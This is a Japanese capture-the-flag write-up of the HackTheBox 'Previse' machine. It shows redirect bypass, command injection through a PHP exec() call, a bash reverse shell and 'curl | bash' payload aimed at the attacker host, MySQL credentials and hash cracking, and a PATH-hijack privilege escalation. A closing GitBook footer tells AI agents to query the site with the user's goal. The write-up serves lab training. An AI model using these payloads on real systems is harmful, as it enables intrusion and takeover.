> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Previse HackTheBox攻略記事

Web列挙、Execution After Redirect（EAR）脆弱性 - リダイレクトのスキップ、PHPソースコード解析、コマンドインジェクション（RCE）を扱うPrevise HackTheBox Easy Linuxマシンの攻略記事。実践

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**スキル:**

* Web列挙
* リダイレクト後実行（EAR）脆弱性 - リダイレクトを回避
* PHPソースコードの分析
* コマンドインジェクション（RCE）
* 情報漏えい
* データベース列挙
* ハッシュのクラック
* sudoers権限の悪用 + PATHハイジャック（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab76fd87dfc8c286d2e969a604d33b511bb7818%2F%7BFC9269CB-2D1E-46F4-8370-504AE252A1E3%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-482fd59584a948b111cd5210eccf0d966e55b767%2F%7BC89EC2B0-B6C0-4C4B-ACC1-ED9D83BF5513%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a125d5b59f74d3c7e17807385ec48c59e573083f%2F%7BC476CFCE-45CE-46A0-A17A-32CBC5275715%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap 22.80でのポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-486df0d41ec87ec14ee926fe0129583a10c44684%2F%7BFEE26871-2520-47A6-BE7B-AD85467BEE01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80 - HTTP

ログインとパスワードを必要とするログインページを見つける。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f2e541a8e0b97e1bf6421992b0a91822bb2bb37%2F%7BF19156B0-3E6B-4285-BCD0-055EA349DA4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **PHPディレクトリとファイルのファジング**

PHPファイルが存在することから、他にもある可能性が高い：

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **脆弱性 EAR（Execution After Redirect）- リダイレクトをスキップ**

コンテンツを含むがログインページへリダイレクトする複数のページを見つける。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82f00fb122b191a104fc65f1b31f75c5e123371a%2F%7BDE9EB251-F497-4B5B-8B57-57F5F339AB9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

でリクエストを傍受する `nav.php` をBurp Suiteで確認し、302リダイレクトを観測する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e3b6cda10d20218616b14a16f710d911217df8e%2F%7B3FFCB145-3398-41F5-8E73-545514CC0E36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

レスポンスを強制的に `200 OK`、直接そこへ `accounts` ページ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc010e5920792256f07365d94ffe7e83548d6c69%2F%7B9EFBABA3-3B7E-4293-A5D9-27D85800B3E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cafa324be52588a9ec4c5235a2af6e1bcdeb8e65%2Fimage%20(652).png?alt=media" alt=""><figcaption></figcaption></figure>

Burp Suiteで、自動的に変更するルールを作成する `302 Found` レスポンスを `200 OK`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d3c4318030f092dfd2e558143980dfe2c533889%2Fimage%20(654).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、ユーザーを作成する `jordan` そしてログインする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1f889a0b2c1119daccbea4136e629b40626e14e%2Fimage%20(655).png?alt=media" alt=""><figcaption></figcaption></figure>

### **回収したファイルの分析**

で見つかったファイルをダウンロードする `/files`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1d995e89a522c5e2dd09372c0bb9fab2484020%2Fimage%20(656).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77712ec0b532c42bff3c90052dc90802773ba6c6%2Fimage%20(657).png?alt=media" alt=""><figcaption></figcaption></figure>

複数のPHPファイルを見つけ、次のことを確認する： `logs.php` を使用している `exec()` 関数を、いかなる検証も行わずに：

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b482ce3d62bbf09b25db963e759ddb552cb5c93%2Fimage%20(659).png?alt=media" alt=""><figcaption></figcaption></figure>

### **コマンドインジェクションの悪用（RCE）**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ad1b9c6c529802dec94d730ca30223166611ec4%2F%7BEBF128BE-7EE2-48A5-B5B0-F293CF9B9F65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

～へのリクエストを傍受します `file_logs.php` そして次の経由でコマンドを注入する `delim` パラメータ：

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

接続を受け取る。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77752a111dbc97d93fcbb150756383609e37beec%2Fimage%20(660).png?alt=media" alt=""><figcaption></figcaption></figure>

### リバースシェル

次のものを作成します `index.html` 以下を含むファイル：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

PythonのWebサーバーを起動する：

```bash
python3 -m http.server 80
```

自分のマシンでポート443を待ち受ける：

```bash
nc -nlvp 443
```

リバースシェルを取得するために次のコマンドを実行する：

```bash
;curl http://10.10.14.50  | bash
```

現在、ユーザー `www-data`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2aa8517ae0240f1063c1db627f6fe46282341a0%2Fimage%20(661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **シェルの改善**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **権限昇格**

### ユーザーm4lwhereへピボット

認証情報を含むファイルを見つける：

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6045d3f001ab3d9314e0300c7be49c3afe9ab225%2Fimage%20(662).png?alt=media" alt=""><figcaption></figcaption></figure>

MySQLデータベースに接続する：

```sql
mysql -u root -p
```

データベースを一覧表示する：

```sql
show databases;
```

ベースを見つける `previse`、これを使用する：

```sql
use previse;
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3967f88e12298d305b1ff0c57b637773a7b6f4d5%2F%7B94917894-50B8-4782-BF6D-1DD99247FE2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

を調査する `accounts` テーブル:

```sql
show tables;
describe accounts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6982a079ac877fb18ea72b3b7f4b337a124998ad%2Fimage%20(663).png?alt=media" alt=""><figcaption></figcaption></figure>

見つかる：

```sql
select username, password from accounts;
```

* ユーザー名: m4lwhere
* パスワード: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc7ba61e218d6fc0574067791c7c7a85ceb0249%2Fimage%20(664).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **ハッシュクラック**

Hashcatを使って解読する：

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

パスワードが見つかりました:

* パスワード: ilovecody112235!

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f84ac24d207b236a976103908ca982f82a21b854%2Fimage%20(665).png?alt=media" alt=""><figcaption></figcaption></figure>

としてログインする `m4lwhere`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f146ffb8fc9b3c271dffddb6e57f77ebfc107688%2Fimage%20(666).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bffdc906aa75a578c43d73a0d933eca16fcd3c7%2F%7BCA605DAA-900C-4943-A489-532AAE7157AB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **PATHハイジャック（gzip）**

sudo権限を列挙します：

```bash
sudo -l
```

を使ってrootとして実行可能なスクリプトを見つける `gzip` 絶対パスを使わずに。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-803a38118d428ceb6b3e2ba243fa89684001b646%2Fimage%20(667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **悪意あるバイナリの作成**

悪意のある `gzip` 内の `/tmp/`:

```bash
chmod 4777 /bin/bash
```

〜を変更する `PATH` 変数を優先するように `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c50c2363e851b9081871d04eeba7670e8935eea%2Fimage%20(668).png?alt=media" alt=""><figcaption></figcaption></figure>

スクリプトをrootとして実行します：

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0abfe4727c3e6362c49afe5d0f1d8ea504ae58c%2Fimage%20(669).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9287a85975dddca4e4dd20b02d5b000730539cb4%2Fimage%20(670).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3c7e9ff2d8c16727aef3522fcebc0fbb2fc748c%2F%7B602D6D2C-0552-4E1F-8CC6-AE0C3846B2BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
